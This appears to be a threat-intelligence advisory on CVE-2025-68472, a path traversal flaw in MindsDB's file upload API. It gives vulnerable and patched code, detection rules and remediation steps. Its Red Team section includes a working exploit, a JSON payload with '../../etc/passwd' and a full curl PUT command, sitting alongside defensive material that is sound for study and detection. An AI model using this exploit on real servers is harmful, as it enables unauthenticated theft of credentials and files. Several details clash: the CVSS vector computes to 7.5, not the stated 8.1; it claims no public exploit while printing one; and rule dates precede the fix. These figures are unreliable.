CVE-2025-68472

Executive Summary

CVE-2025-68472 is a critical unauthenticated path traversal vulnerability in MindsDB, a platform for building AI from enterprise data. The flaw resides in the file upload API, specifically in the PUT handler of file.py. When the request body is JSON and source_type is not "url", user-controlled data is directly concatenated into a filesystem path without sanitization. This allows any unauthenticated attacker to read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data such as configuration files, credentials, or proprietary models. The vulnerability has a CVSS score of 8.1 (High) and affects all versions prior to 25.11.1. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

MindsDB is a Python-based platform distributed via PyPI. This vulnerability is a server-side issue, not a package dependency flaw. However, organizations using MindsDB should verify their deployment version and ensure they are not exposing the file upload API to untrusted networks. The fix is included in version 25.11.1, which should be applied immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file read exposes sensitive data.
• Integrity (I): None (N) – No file modification possible.
• Availability (A): None (N) – No denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 8.1 (High)
Threat Level: Critical due to unauthenticated remote exploitation and potential for data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the PUT handler of file.py. The endpoint accepts file uploads via multipart form data, URL sources, or JSON body. The code path for JSON uploads lacks sanitization:

1. Vulnerable Code Path: When the request body is JSON and source_type is not "url", the handler directly uses user-supplied file_name and file_path parameters to construct a filesystem path.
2. Sanitization Gap: Multipart uploads and URL-sourced uploads call clear_filename() to strip path traversal sequences (e.g., ../). JSON uploads skip this step entirely.
3. Exploitation: An attacker sends a PUT request with a JSON body containing "file_name": "../../etc/passwd" and "source_type": "local". The server reads the file from the filesystem and moves it into MindsDB’s storage directory, making it accessible via the API.
4. Impact: Arbitrary file read from the server filesystem, including configuration files, SSH keys, database credentials, or AI model data.

Vulnerable vs. Patched Code

Vulnerable Code (pre-25.11.1):

# file.py - PUT handler
if request.content_type == 'application/json':
    data = request.get_json()
    file_name = data.get('file_name')
    file_path = data.get('file_path')
    # No sanitization - directly used
    full_path = os.path.join(storage_dir, file_path, file_name)
    # Read and store file

Patched Code (25.11.1):

# file.py - PUT handler
if request.content_type == 'application/json':
    data = request.get_json()
    file_name = data.get('file_name')
    file_path = data.get('file_path')
    # Sanitize path traversal
    file_name = clear_filename(file_name)
    file_path = clear_filename(file_path)
    full_path = os.path.join(storage_dir, file_path, file_name)
    # Read and store file

The fix adds a call to clear_filename() for both file_name and file_path in the JSON code path, mirroring the sanitization already present for multipart and URL uploads.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable MindsDB instance (version < 25.11.1) with the file upload API exposed.
• Network access to the API endpoint (typically /api/file or similar).

Exploitation Steps:

1. Identify the file upload endpoint (e.g., PUT /api/file).
2. Craft a JSON payload with path traversal:

   {
     "source_type": "local",
     "file_name": "../../etc/passwd",
     "file_path": "/"
   }
   

3. Send the request:

   curl -X PUT https://target/api/file \
     -H "Content-Type: application/json" \
     -d '{"source_type": "local", "file_name": "../../etc/passwd", "file_path": "/"}'
   

4. The file is moved to MindsDB’s storage. Retrieve it via the API (e.g., GET /api/file/<stored_id>).

Expected Output: The contents of /etc/passwd are returned.

Blue Team (Detection & Defense)

Detection:

• Monitor for PUT requests to file upload endpoints with JSON content type.
• Alert on file_name or file_path parameters containing ../ or absolute paths.
• Use the detection rules below.

Defense:

• Upgrade to MindsDB 25.11.1 or later.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block JSON PUT requests to the file upload endpoint.
• Restrict network access to the MindsDB API to trusted IPs only.
• Enable logging and monitor for anomalous file access patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • PUT requests to /api/file with Content-Type: application/json.
  • JSON body containing "source_type": "local" and "file_name" with path traversal sequences.
• File System IOCs:
  • Unexpected files in MindsDB’s storage directory (e.g., /etc/passwd, /etc/shadow).
  • Files with names matching system files (e.g., passwd, shadow, config).
• Log IOCs:
  • Log entries showing file read operations for paths outside the expected storage directory.

Detection Engineering

YARA Rule

rule CVE_2025_68472_MindsDB_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in MindsDB file upload API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68472"
    strings:
        $json_content = /"source_type"\s*:\s*"local"/
        $path_traversal = /"file_name"\s*:\s*"[^"]*\.\.\/[^"]*"/
        $path_traversal2 = /"file_path"\s*:\s*"[^"]*\.\.\/[^"]*"/
    condition:
        $json_content and ($path_traversal or $path_traversal2)
}

Sigma Rule

title: CVE-2025-68472 MindsDB Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in MindsDB file upload API via JSON body
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: mindsdb
detection:
    selection:
        http.method: PUT
        http.url: /api/file
        http.content_type: application/json
        http.body|contains: 
            - '"source_type": "local"'
            - '"file_name": "..'
            - '"file_path": "..'
    condition: selection
falsepositives:
    - Legitimate use of local file paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68472 MindsDB Path Traversal Attempt"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/file"; http.content_type; content:"application/json"; http.request_body; content:"\"source_type\": \"local\""; content:"\"file_name\""; content:".."; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MindsDB to version 25.11.1 or later.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block JSON PUT requests to /api/file with path traversal patterns.
3. Restrict network access to the MindsDB API to trusted IPs only.

Long-Term Measures:

• Conduct a security audit of all API endpoints for similar path traversal vulnerabilities.
• Implement input validation and sanitization for all user-controlled file paths.
• Use a reverse proxy (e.g., Nginx, Apache) to add an additional layer of security.
• Enable comprehensive logging and monitoring for file access anomalies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert